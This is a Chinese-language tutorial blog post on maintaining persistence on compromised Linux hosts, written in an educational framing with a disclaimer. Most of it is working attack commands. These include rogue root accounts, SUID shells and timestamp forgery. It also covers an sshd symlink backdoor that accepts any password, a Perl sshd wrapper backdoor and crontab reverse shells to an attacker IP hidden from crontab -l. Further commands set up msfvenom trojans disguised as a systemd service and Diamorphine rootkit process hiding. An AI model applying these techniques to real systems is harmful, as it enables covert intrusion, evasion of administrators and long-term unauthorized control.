渗透测试中的Linux权限维持(linux后门)
本文最后更新于 2024-07-31,文章内容可能已经过时。
Linux权限维持(linux后门)
持久化后门是指当入侵者通过某种手段拿到服务器的控制权之后,通过在服务器上放置一些后门(脚本、进程、连接之类),来方便他以后持久性的入侵,简单梳理一下日常遇见用的比较多的一些持久化方式方便以后排查问题使用.
当我们入侵成功拿下一台主机,并且提权成功,需要留下后门,方便下次在来 。
权限维持的前提是 : 已经拿下管理员的权限 。
免责声明
⚠特别说明:此教程为纯技术教学!严禁利用本教程所提到的漏洞和技术进行非法攻击,本教程的目的仅仅作为学习,决不是为那些怀有不良动机的人提供技术支持!也不承担因为技术被滥用所产生的连带责任!⚠
一、创建账户
1.1 、创建默认密码的账户
操作 /etc/passwd
文件,添加一个用户,这个用户的密码是固定的 。password@123
(1)、修改 /etc/passwd
文件
添加一个默认账户 ,test
test:advwtv/9yU5yQ:0:0:User_like_root:/root:/bin/bash
(2)、利用echo写进去
echo "test:advwtv/9yU5yQ:0:0:User_like_root:/root:/bin/bash" >>/etc/passwd
输入 ssh test@192.168.91.128
测试有没有成功
成功连接到目标主机
1.2 、创建拥有管理员权限的账户
useradd -o -u 0 -g 0 test001
passwd test001
# 设置密码,这里我设的是Mudi@123
上述两个后门方案 一般不推荐
1.3 、配置sudoers文件
把一个普通配置成一个拥有管理员全限定账户
修改 /etc/sudoers
配置文件 在此文件配置用户
xiaoe ALL=(ALL) NOPASSWD:ALL
1.4 、普通用户+SUID shell
-
设置S权限
chmod u+s /bin/bash $ bash -p chmod u+s /bin/sh $ sh -p chmod u+s /bin/env $ env /bin/sh -p chmod u+s /bin/vi $ vi /etc/shadow chmod u+s /bin/awk $ awk '{print $0}' /etc/shadow chmod u+s /bin/cat $ cat /etc/shadow chmod u+s /usr/bin/curl $ curl file:///etc/shadow chmod u+s /bin/find $ find /etc/passwd -exec cat /etc/shadow \; find /etc/passwd -exec bash -p \;
-
普通账户+SUID
-
创建一个普通用户(张三)。
-
先切换成为root用户,并执行以下的命令。
cp /bin/bash /tmp/.shell # 名为.开头的隐藏文件 chmod 4755 /tmp/.shell # 赋予可执行的权限与SUID权
-
限切换为普通用户张三执行脚本。
/tmp/.shell -p #bash2 针对 suid 有一些护卫的措施,需使用-p参数来获取一个root shell
-
二、文件属性修改(了解)
2.1 、修改文件的时间
比如管理员查找最近被修改过文件 ,从而找出有可能是黑客操作的文件 。
find / -atime -5 | grep msf #查找最近5天修改的 带有msf 的文件
-atime [+|-]# 访问时间 access
-mtime [+|-]# 更新时间 modify
-ctime [+|-]# 创建时间 create
# 解读:
-# 表示[0,#)
# 表示[#,#+1)
+# 表示[#+1,∞]
# 实例:比如 #=3的含义如下
-3 表示 3个24h之内 (系统称之为三天内)
3 表示 第4个24h期间内 (系统称之为是第三天)
+3 表示 超过4个24h (系统称之为是超过三天)
修改当前文件的 时间 创建时间 、修改时间 、访问时间
- touch -r 修改时间
touch -r /opt/redis/redis-6.0.6.tar.gz ./msf_linux_reverse_tcp_64.elf
# 把msf_linux_reverse.elf 修改时间 改成 和 redis-6.0.6.tar.gz 文件的修改时间相同
-
使用 touch -t 修改时间
touch -t 202208120800.00 msf_linux_reverse_tcp_64.elf #修改b.txt文件的访问时间与修改时间为2022年8月12日8点00分00秒
使用 stat 命令 查看修改过的文件的时间
stat msf_linux_reverse_tcp_64.elf
2.2 、创建隐藏文件
在文件名与目录名前加.即可创建隐藏文件或目录,但可以通过ls 的 -a 参数查看到。
touch .shell.php # 创建名为 .shell.php文件
touch ... # 创建名为 … 的文件
mkdir ... # 创建名为 … 的目录
例如 :在home 目录下创建目录 /home/.../...
把木马文件移动到这个目录下 :
mv msf_linux_reverse_tcp_64.elf /home/.../.../...
# 前面三个点 是目录 ,最后的三个点是 木马文件的名字
运行木马 :
设置木马的可执行权限 : chmod u+x xxxxx
./... # 进入木马的mulu
2.3 、 文件上锁,防止用户直接删除文件
Linux 系统中的文件和目录,除了可以设定普通权限和特殊权限外,还可以利用文件和目录具有的一些隐藏属性。而chattr 命令,专门用来修改文件或目录的隐藏属性,只有 root 用户可以使用。
格式:
chattr [+-=] [属性] 文件或目录名
属性选项 | 功能 |
---|---|
i | 如果对文件设置 i 属性,那么不允许对文件进行删除、改名,也不能添加和修改数据; 如果对目录设置 i 属性,那么只能修改目录下文件中的数据,但不允许建立和删除文件; |
a | 如果对文件设置 a 属性,那么只能在文件中増加数据,但是不能删除和修改数据; 如果对目录设置 a 属性,那么只允许在目录中建立和修改文件,但是不允许删除文件; |
u | 设置此属性的文件或目录,在删除时,其内容会被保存,以保证后期能够恢复,常用来防止意外删除文件或目录。 |
s | 和 u 相反,删除文件或目录时,会被彻底删除(直接从硬盘上删除,然后用 0 填充所占用的区域),不可恢复。 |
示例:为test.txt文件添加i属性,而后尝试删除该文件,提示无法删除。
使用lsattr可以查看文件的隐藏属性。
三、SSH后门
3.1 、软链接后门
建立一个软连接,然后通过5555端口访问ssh服务:
ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=5555
伪造一个端口进行登录,在查看端口连接时,看不到默认的22端口连接
可以使用 netstat -antp
查看到开放的端口
缺点 :管理员不会查看到 多了一个 22端口连接 ,但是会多一个其他端口的链接
巨大优点:任意密码进行登录。
当在CentOS服务器上执行了In -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=5555 命令后,它会创建一个名为/tmp/su的符号链接,指向/usr/sbin/sshd,并在5555端口上运行个替代的sshd实例。这个替代的sshd实例并没有经过充分的配置和安全性设置,它可能会绕过正常的身份验证过程。由于该实例并没有正确配置的认证机制,它会接受提供的任意密码而不会对其进行验证。这就导致了在连接到192.168.91.128的5555端口时,无论提供任何密码都可以成功登录。
3.2 、隐身登录
这里说的隐身登录 ,是登录不能不被 who、w、last
等命令查看到,但是可以被 netstat -antp
查看到 .
ssh -T root@192.168.91.128 /bin/bash -i
ssh -o UserKnownHostsFile=/dev/null -T root@192.168.91.128 /bin/bash -if
# 在windows 上执行 上面的IP是我们的目标(入侵的主机)
linux中输入 who、w、last
可以查看登录的信息
登录之前 :
登录 :
登录之后 :
3.3 、利用公钥私钥登录(重要)
3.4 、ssh warpper后门
-
该后门需要安装perl,使用命令
yum install perl -y
进行安装即可 -
构造一个恶意的sshd,具体操作如下
cd /usr/sbin/ mv sshd ../bin/ echo '#!/usr/bin/perl' >sshd echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd chmod u+x sshd systemctl restart sshd # 重启sshd服务
原理:首先启动的是/usr/sbin/sshd,执行到getpeername时,正则匹配会失败,接着执行下一句,启动/usr/bin/sshd(原始sshd)。原sshd监听端口建立了tcp连接后,会fork一个子进程处理具体工作,而后子进程又会执行系统默认的位置的/usr/sbin/sshd。此时子进程标准输入输出已被重定向到套接字,若getpeername能真的获取到客户端的TCP源端口且为13377(4A是13377的小端模式),就反回一个shell。
-
打开kalli 连接
Kali中自带有
socat
工具socat STDIO TCP4:192.168.59.139:22,sourceport=13377 # ip 是连接的目标主机
-
在端口中查看连接信息
优点:
1、隐蔽性较强,无需要编译,使用于大部分环境中.登录不需要root密码
2、在无连接后门的情况下,管理员是看不到端口和进程的,last也查不到登陆.
缺点:
1、需要重启sshd进程.
防范 :
使用knockd程序对22号端口进行特殊处理,防止直接使用:https://blog.csdn.net/weixin_51339377/article/details/128459954
四、Crontab定时任务后门
crontab是一个命令,常见于Unix和类Linux的操作系统之中,用于设置周期性被执行的指令。该命令从标准输入设备读取指令,并将其存放于“crontab”文件中,以供之后读取和执行。
我们可以用以下命令,查看定时任务,并创建一个让Linux主机每过60秒让其执行反弹shell命令的任务。
(crontab -l;echo "*/1 * * * * /bin/bash -c '/bin/sh -i >& /dev/tcp/192.168.91.142/4444 0>&1';")|crontab -
但是使用这种方式使用crontab -l还是能够发现这一项定时任务。
(crontab -l;echo "35 * * * * /usr/share/icons/gnome/scalable/devices/msf_linux_reverse_tcp_64.elf")|crontab -
kali上开启监听等待连接 :
这个定时任务 可以通过
crontab -l
查看到
可以使用以下命令进行利用,这是利用cat隐藏将一部分内容隐藏起来(cat打开文件时才有效果),再添加 no crontab for whoami
,让用户以为没有定时任务。
(printf "*/1 * * * * /bin/bash -c '/bin/sh -i >& /dev/tcp/192.168.91.142/4444 0>&1';\rno crontab for `whoami`%100c\n")|crontab -
执行之后,无法在 crontab -l
中查看定时任务 :
kali中开启监听 :
我们可以使用 cat 到定时存储的文件中查看 :
cat -A /var/spool/cron/root
五、文件的自启动
在linux系统中,有一些文件是开机或者 登录时 自动被加载 ,这些文件就有可能被黑客利用 。
/etc/rc.d/rc.local
系统在启动时进行加载执行,
/etc/rc.local
是本文件的软链接文件。
/etc/profile
此文件为系统的每个用户设置环境信息,当用户第一次登录时,该文件被执行。
/etc/bashrc
为每一个运行bash shell的用户执行此文件.当bash shell被打开时,该文件被读取。
~/.bash_profile
每个用户都可使用该文件输入专用于自己使用的shell信息,当用户登录时,该文件仅仅执行一次。
~/.bashrc
该文件包含专用于你用户的bash shell的bash信息,当登录时以及每次打开新的shell时,该该文件被读取。
~/.bash_logout
当每次退出系统(退出bash shell)时,执行该文件.
例如 在 /etc/profile
文件中 加一条指令 chmod u+s /usr/bin/bash
,只要开机 登录 ,这个文件就会被加载执行,bash就会被加上 s
权限 .
monica-code-tools
六、配置服务
参考 :
https://devpress.csdn.net/linux/62ed0ec119c509286f417e21.html
-
首先在kali中生成一个linux的木马
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.91.142 LPORT=5555 -f elf -o test_service.elf
将木马上传到目标主机上,并修改为可执行权限。以便后续将它做成开机自启动
-
**切换到目录 **
cd /etc/systemd/system/
-
查看服务
systemctl list-unit-files | grep 服务名 # mai1.service mail.service]
发现系统中没有这个服务项。可以使用这个服务进行伪装创建
mai1.service
的服务。 -
编辑
创建服务文件在/etc/systemd/system/ 创建服务文件
vi mai1.service
[Unit] Description=this is mai1 service Requires=network.target [Service] WorkingDirectory=/opt/tools # 目录可以随便配 但是主机上一定要有这个目录 ExecStart=/opt/tools/test_service.elf # 程序所在的目录 SuccessExitStatus=143 TimeoutStopSec=10 Restart=on-failure RestartSec=5 [Install] WantedBy=multi-user.target
**Description : 自己定义 **
Requires :默认不变
WorkingDirectory :定义自己程序的所在目录
ExecStart : 服务执行程序 (木马)
其他的都默认
-
设置开启自启动
systemctl enable mai1.service
再次查看服务进程可以发现有
mai1.service
这个服务了,而且是开机自启动kali启动监听:
use exploit/multi/handler set payload linux/x64/meterpreter/reverse_tcp show options set lhost 192.168.91.129 set lport 5555 run
启动目标主机服务或者直接重启启动服务,可以看到kali成功上线连接到目标主机中的木马
-
删除服务
**切换到服务器的目录 **cd /etc/systemd/system/ rm -rf /etc/systemd/system/mai1.service
七、程序后台运行
nohup 恶意程序 &
# 例如 :
nohup xxxxx.elf &
恶意程序 &
xxxxx.elf &
nohup test_nohup.elf >/dev/null 2>&1 &
同样kali先启动监听
可以看到成功上线木马。
八 、隐藏进程
下载插件 :https://github.com/m0nad/Diamorphine
-
安装Diamorphine
**把 压缩包上传 解压 进入Diamorphine **cd Diamorphine-master
-
编译安装
# 执行 make 命令 安装 make # 如果执行报错 [root@localhost Diamorphine-master]# make make -C /lib/modules/3.10.0-1160.71.1.el7.x86_64/build M=/opt/tools/Diamorphine-master modules make: *** /lib/modules/3.10.0-1160.71.1.el7.x86_64/build: 没有那个文件或目录。 停止。 make: *** [all] 错误 2 # 需要安装 对应的 kener-devel 安装对应的报错版本 yum install kernel-devel-3.10.0-1160.71.1.el7.x86_64
-
加载权限模块
# 以 root权限加载模块 insmod diamorphine.ko
-
kali启动监听:
-
启动一个木马程序
-
查看木马(netstat -antp)
-
**隐藏进程 **
# 隐藏进程 kill -31[pid] # PID 木马进程的ID kill -31 15058
-
验证进程是否隐藏
ps -aux | grep msf[进程名字的一部分]
-
可以使用 (netstat -antp)
此命令可以查看到,所以无法完全隐藏
但是kali这边还是能连接到木马
monica-code-tools
monica-code-tools
monica-code-tools
- 感谢你赐予我前进的力量